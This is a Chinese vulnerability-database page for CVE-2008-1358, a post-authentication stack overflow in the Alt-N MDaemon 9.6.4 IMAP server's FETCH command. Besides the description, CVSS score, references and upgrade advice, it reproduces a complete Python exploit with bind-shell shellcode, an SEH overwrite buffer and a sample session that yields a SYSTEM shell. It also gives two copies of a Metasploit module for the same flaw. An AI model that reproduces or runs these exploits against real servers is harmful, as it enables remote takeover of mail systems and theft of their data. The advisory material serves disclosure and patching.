CVE-2008-1358 |
|
发布时间 :2008-03-17 13:44:00 | ||
修订时间 :2011-08-10 00:00:00 | ||||
NMCOEP |
[原文]Stack-based buffer overflow in the IMAP server in Alt-N Technologies MDaemon 9.6.4 allows remote authenticated users to execute arbitrary code via a FETCH command with a long BODY.
[CNNVD]Alt-N MDaemon IMAP服务器FETCH命令远程栈溢出漏洞(CNNVD-200803-251)
MDaemon是一款基于Windows的邮件服务程序。
MDaemon的IMAP服务器在处理FETCH命令的参数数据时存在栈溢出漏洞,远程攻击者可能利用此漏洞控制服务器。
如果远程攻击者向该服务发送的FETCH命令中的BODY数据项包含有超长的分段标识的话,就可以触发这个溢出,导致执行任意代码。但成功攻击要求拥有有效的用户凭据。
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CVSS (基础分值)
CVSS分值: | 6.5 | [中等(MEDIUM)] |
机密性影响: | PARTIAL | [很可能造成信息泄露] |
完整性影响: | PARTIAL | [可能会导致系统文件被修改] |
可用性影响: | PARTIAL | [可能会导致性能下降或中断资源访问] |
攻击复杂度: | LOW | [漏洞利用没有访问限制 ] |
攻击向量: | NETWORK | [攻击者不需要获取内网访问权或本地访问权] |
身份认证: | SINGLE_INSTANCE | [–] |
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CWE (弱点类目)
CWE-119 | [内存缓冲区边界内操作的限制不恰当] |
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CPE (受影响的平台与产品)
产品及版本信息(CPE)暂不可用 |
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OVAL (用于检测的技术细节)
未找到相关OVAL定义 |
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官方数据库链接
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其它链接及资源
http://xforce.iss.net/xforce/xfdb/41195 (UNKNOWN) XF mdaemon-hashcash-bo(41195) |
http://www.vupen.com/english/advisories/2008/0877/references (VENDOR_ADVISORY) VUPEN ADV-2008-0877 |
http://www.securitytracker.com/id?1019615 (UNKNOWN) SECTRACK 1019615 |
http://www.securityfocus.com/bid/28245 (UNKNOWN) BID 28245 |
http://www.milw0rm.com/exploits/5248 (UNKNOWN) MILW0RM 5248 |
http://www.be4mind.com/?q=node/256 (UNKNOWN) MISC http://www.be4mind.com/?q=node/256 |
http://secunia.com/advisories/29382 (VENDOR_ADVISORY) SECUNIA 29382 |
http://files.altn.com/MDaemon/Release/RelNotes_en.txt (UNKNOWN) CONFIRM http://files.altn.com/MDaemon/Release/RelNotes_en.txt |
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漏洞信息
Alt-N MDaemon IMAP服务器FETCH命令远程栈溢出漏洞 | |
中危 | 缓冲区溢出 |
2008-03-17 00:00:00 | 2008-09-05 00:00:00 |
远程 | |
MDaemon是一款基于Windows的邮件服务程序。 MDaemon的IMAP服务器在处理FETCH命令的参数数据时存在栈溢出漏洞,远程攻击者可能利用此漏洞控制服务器。 如果远程攻击者向该服务发送的FETCH命令中的BODY数据项包含有超长的分段标识的话,就可以触发这个溢出,导致执行任意代码。但成功攻击要求拥有有效的用户凭据。 |
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公告与补丁
目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本: http://www.altn.com |
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漏洞信息 (5248)
MDaemon IMAP server 9.6.4 (FETCH) Remote Buffer Overflow Exploit (EDBID:5248) |
|
windows | remote |
2008-03-13 | Verified |
143 | Matteo Memelli |
N/A |
[点击下载] |
#!/usr/bin/python ############################################################################### # # MDAEMON (POST AUTH) REMOTE R00T IMAP FETCH COMMAND UNIVERSAL EXPLOIT 0day # Bug discovered and coded by Matteo Memelli aka ryujin # http://www.gray-world.net http://www.be4mind.com # # Affected Versions : MDaemon IMAP server v9.6.4 # Tested on OS : Windows 2000 SP4 English # Windows XP Sp2 English # Windows 2003 Standard Edition Italian # Discovery Date : 03/13/2008 # #----------------------------------------------------------------------------- # # muts AS YOU CAN SEE, I ALWAYS MAINTAIN MY PROMISES! LOL # # Thx to Silvia for feeding my obsessions # Thx to didNot at #offsec # (yes he doesn't look like Silvia but he's a nice guy LOL) # and to www.offensive-security.com # #----------------------------------------------------------------------------- ############################################################################## # [+] Connecting to imap server... # * OK test.local IMAP4rev1 MDaemon 9.6.4 ready # # [+] Logging in... # 0001 OK LOGIN completed # # [+] Selecting Inbox Folder... # * FLAGS (\Seen \Answered \Flagged \Deleted \Draft \Recent) # * 16 EXISTS # * 16 RECENT # * OK [UNSEEN 1] first unseen # * OK [UIDVALIDITY 1205411202] UIDs valid # * OK [UIDNEXT 17] Predicted next UID # * OK [PERMANENTFLAGS (\Seen \Answered \Flagged \Deleted \Draft)] . # 0002 OK [READ-WRITE] SELECT completed # # [+] We need at least one message in Inbox, appending one... # + Ready for append literal # # [+] What would you like for dinner? SPAGHETTI AND PWNSAUCE? # * 17 EXISTS # * 17 RECENT # 0003 OK [APPENDUID 1205411202 17] APPEND completed # # [+] DINNER'S READY: Sending Evil Buffer... # [+] DONE! Check your shell on 192.168.1.195:4444 # # # matte@badrobot:~$ nc 192.168.1.195 4444 # (UNKNOWN) [192.168.1.195] 4444 (?) : Connection refused # matte@badrobot:~$ nc 192.168.1.195 4444 # Microsoft Windows 2000 [Version 5.00.2195] # (C) Copyright 1985-2000 Microsoft Corp. # # C:\MDaemon\APP>whoami # whoami # NT AUTHORITY\SYSTEM # # C:\MDaemon\APP> ############################################################################## from socket import * from optparse import OptionParser import sys, time print "[*********************************************************************]" print "[* *]" print "[* MDAEMON (POST AUTH) REMOTE R00T IMAP FETCH COMMAND EXPLOIT *]" print "[* DISCOVERED AND CODED *]" print "[* by *]" print "[* MATTEO MEMELLI *]" print "[* (ryujin) *]" print "[* www.be4mind.com - www.gray-world.net *]" print "[* *]" print "[*********************************************************************]" usage = "%prog -H TARGET_HOST -P TARGET_PORT -l USER -p PASSWD" parser = OptionParser(usage=usage) parser.add_option("-H", "--target_host", type="string", action="store", dest="HOST", help="Target Host") parser.add_option("-P", "--target_port", type="int", action="store", dest="PORT", help="Target Port") parser.add_option("-l", "--login-user", type="string", action="store", dest="USER", help="User login") parser.add_option("-p", "--login-password", type="string", action="store", dest="PASSWD", help="User password") (options, args) = parser.parse_args() HOST = options.HOST PORT = options.PORT USER = options.USER PASSWD = options.PASSWD if not (HOST and PORT and USER and PASSWD): parser.print_help() sys.exit() # windows/shell_bind_tcp - 317 bytes # http://www.metasploit.com # EXITFUNC=thread, LPORT=4444 shellcode = ( "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b" "\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01" "\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07" "\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f" "\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b" "\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c" "\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff" "\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0" "\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08" "\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53" "\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x66\x68\x11\x5c\x66" "\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff\xd6\x6a\x10\x51" "\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53\x55\xff\xd0" "\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff\xd0\x93" "\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64\x66" "\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89" "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38" "\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57" "\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9" "\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83" "\xc4\x64\xff\xd6\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6" "\xff\xd0" ) s = socket(AF_INET, SOCK_STREAM) print " [+] Connecting to imap server..." s.connect((HOST, PORT)) print s.recv(1024) print " [+] Logging in..." s.send("0001 LOGIN %s %s\r\n" % (USER, PASSWD)) print s.recv(1024) print " [+] Selecting Inbox Folder..." s.send("0002 SELECT Inbox\r\n") print s.recv(1024) print " [+] We need at least one message in Inbox, appending one..." s.send('0003 APPEND Inbox {1}\r\n') print s.recv(1024) print " [+] What would you like for dinner? SPAGHETTI AND PWNSAUCE?" s.send('SPAGHETTI AND PWNSAUCE\r\n') print s.recv(1024) print " [+] DINNER'S READY: Sending Evil Buffer..." # Seh overwrite at 532 Bytes # pop edi; pop ebp; ret; From mdaemon/HashCash.dll EVIL = "A"*528 + "\xEB\x06\x90\x90" + "\x8b\x11\xdc\x64" + "\x90"*8 + shellcode + 'C'*35 s.send("A654 FETCH 2:4 (FLAGS BODY[" + EVIL + " (DATE FROM)])\r\n") s.close() print " [+] DONE! Check your shell on %s:%d" % (HOST, 4444) # milw0rm.com [2008-03-13]
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漏洞信息 (16482)
MDaemon 9.6.4 IMAPD FETCH Buffer Overflow (EDBID:16482) | |
windows | remote |
2010-06-15 | Verified |
0 | metasploit |
N/A |
[点击下载] |
## # $Id: mdaemon_fetch.rb 9525 2010-06-15 07:18:08Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Imap include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'MDaemon 9.6.4 IMAPD FETCH Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the Alt-N MDaemon IMAP Server version 9.6.4 by sending an overly long FETCH BODY command. Valid IMAP account credentials are required. Credit to Matteo Memelli }, 'Author' => [ 'Jacopo Cervini', 'patrick' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9525 $', 'References' => [ [ 'CVE', '2008-1358' ], [ 'OSVDB', '43111' ], [ 'BID', '28245' ], [ 'URL', 'http://www.milw0rm.com/exploits/5248' ], ], 'Privileged' => false, 'DefaultOptions' => { 'EXITFUNC' => 'seh', }, 'Payload' => { 'Space' => 400, 'BadChars' => "\x00\x0a])", }, 'Platform' => 'win', 'Targets' => [ [ 'MDaemon Version 9.6.4', { 'Ret' => 0x64dc118b } ], # p/p/r HashCash.dll ], 'DisclosureDate' => 'Mar 13 2008', 'DefaultTarget' => 0)) end def check connect disconnect if (banner and banner =~ /IMAP4rev1 MDaemon 9.6.4 ready/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect_login req0="0002 SELECT Inbox\r\n" res = raw_send_recv(req0) if (res and res =~ /0002 OK/) print_status("SELECT command OK") end req1="0003 APPEND Inbox {1}\r\n" res = raw_send_recv(req1) if (res and res =~ /Ready for append literal/) print_status("APPEND command OK") end res = raw_send_recv(rand_text_alpha(20) + "\r\n") if (res and res =~ /APPEND completed/) print_status("APPEND command finished") end buf = rand_text_alpha_upper(528, payload_badchars) buf << generate_seh_payload(target.ret) + rand_text_alpha_upper(35, payload_badchars) sploit = "A654 FETCH 2:4 (FLAGS BODY[" + buf + "(DATE FROM)])\r\n" print_status("Sending payload") sock.put(sploit) handler disconnect end end
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漏洞信息 (F83208)
MDaemon 9.6.4 IMAPD FETCH Buffer Overflow (PacketStormID:F83208) |
2009-11-26 00:00:00 |
patrick,Jacopo Cervini metasploit.com |
exploit,overflow,imap |
CVE-2008-1358 |
[点击下载] |
This Metasploit module exploits a stack overflow in the Alt-N MDaemon IMAP Server version 9.6.4 by sending an overly long FETCH BODY command. Valid IMAP account credentials are required. Credit to Matteo Memelli |
## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Imap include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'MDaemon 9.6.4 IMAPD FETCH Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in the Alt-N MDaemon IMAP Server version 9.6.4 by sending an overly long FETCH BODY command. Valid IMAP account credentials are required. Credit to Matteo Memelli }, 'Author' => [ 'Jacopo Cervini', 'patrick' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2008-1358' ], [ 'OSVDB', '43111' ], [ 'BID', '28245' ], [ 'URL', 'http://www.milw0rm.com/exploits/5248' ], ], 'Privileged' => false, 'DefaultOptions' => { 'EXITFUNC' => 'seh', }, 'Payload' => { 'Space' => 400, 'BadChars' => "\x00\x0a])", }, 'Platform' => 'win', 'Targets' => [ [ 'MDaemon Version 9.6.4', { 'Ret' => 0x64dc118b } ], # p/p/r HashCash.dll ], 'DisclosureDate' => 'March 13 2008', 'DefaultTarget' => 0)) end def check connect disconnect if (banner and banner =~ /IMAP4rev1 MDaemon 9.6.4 ready/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect_login req0="0002 SELECT Inbox\r\n" res = raw_send_recv(req0) if (res and res =~ /0002 OK/) print_status("SELECT command OK") end req1="0003 APPEND Inbox {1}\r\n" res = raw_send_recv(req1) if (res and res =~ /Ready for append literal/) print_status("APPEND command OK") end res = raw_send_recv(rand_text_alpha(20) + "\r\n") if (res and res =~ /APPEND completed/) print_status("APPEND command finished") end buf = rand_text_alpha_upper(528, payload_badchars) buf << generate_seh_payload(target.ret) + rand_text_alpha_upper(35, payload_badchars) sploit = "A654 FETCH 2:4 (FLAGS BODY[" + buf + "(DATE FROM)])\r\n" print_status("Sending payload") sock.put(sploit) handler disconnect end end
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漏洞信息
43111 |
|
MDaemon IMAP Server FETCH Command Remote Overflow | |
Remote / Network Access, Local / Remote |
Input Manipulation |
Loss of Confidentiality, Loss of Integrity, Loss of Availability |
Upgrade |
Exploit Public, Exploit Commercial |
Vendor Verified, Uncoordinated Disclosure |
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漏洞描述
A remote overflow exists in MDaemon IMAP Server. With a specially crafted FETCH command containing an overly long section specification in a BODY data item, an attacker can cause the server to crash resulting in a loss of integrity and availability. |
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时间线
2008-03-13 |
Unknow |
2008-03-13 | 2008-03-14 |
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解决方案
Upgrade to version 9.6.5 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds. |
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相关参考
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